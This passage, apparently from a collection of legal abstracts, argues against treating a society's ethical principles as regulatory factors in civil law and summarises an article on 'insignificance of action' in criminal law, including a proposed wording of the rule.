The conclusion on the objection to the civil regularity of ethical principles of society is based on several theses. Firstly, moral rules are not formalized, which creates a threat of arbitrary interpretation of their content. Secondly, ethical principles do not have a definite source of origin. Thirdly, the fundamental ethical rules have already been taken into account in the content of the principles of fairness, integrity and reason, which in turn create competition between the two types of regulatory factors. Unreasonable duplication of regulatory requirements reduces the functionality of the law, complicates the perception of its requirements. The competition between the principles of law and the ethical principles of society must be eliminated by refusing to give the latter the function of regulatory factors.

The author of the paper does not deny the possibility of taking into account the ethical principles of society while regulating the relations that have been neglected by the "official law".

The article is dedicated to investigation of problems and perspectives of application of the insignificance of action as a category of criminal law. It is found out that the insignificance of action is a legislative way of demarcation of crimes from other actions, which is a certain guarantee of providing of fairness of the criminal law and economy of criminally-legal repression. A legislative construction about the insignificance of action is an evaluation concept, which is also a way of enforceable decriminalization. The essence of the insignificance of action includes it's evaluation character and property to provide fairness and individualization of imposition of criminal penalty. The features of this criminally-legal category are absence of public danger, connection with discretionary authorities and possibility of engaging for other kind of legal liability. An absence of public danger in action is a main criterion for recognition an action as insignificant and it is expressed in absence of significant damage. It is also determined that main aspects of application of the insignificance of action are established with court practice and science of criminal law. They concern to formal presence in a committed act of signs of a composition of a crime, absence of typical for a certain crime public danger and absence of subjective tendency on causing of significant damage. A necessity of saving and further using of the rule of law about the insignificance of action is pointed. Problematic aspects of criminal rule of law about the insignificance of action, which include a collision, a fiction and a contradiction to unity of terminology, are revealed and analyzed. It is suggested to formulate the rule of law about the insignificance of action in such version: "The action or inaction is not a crime if it is not publically dangerous and because of the insignificance it does not amount a public danger for protected with law about criminal liability objects, namely it did not cause and could not cause enough for ...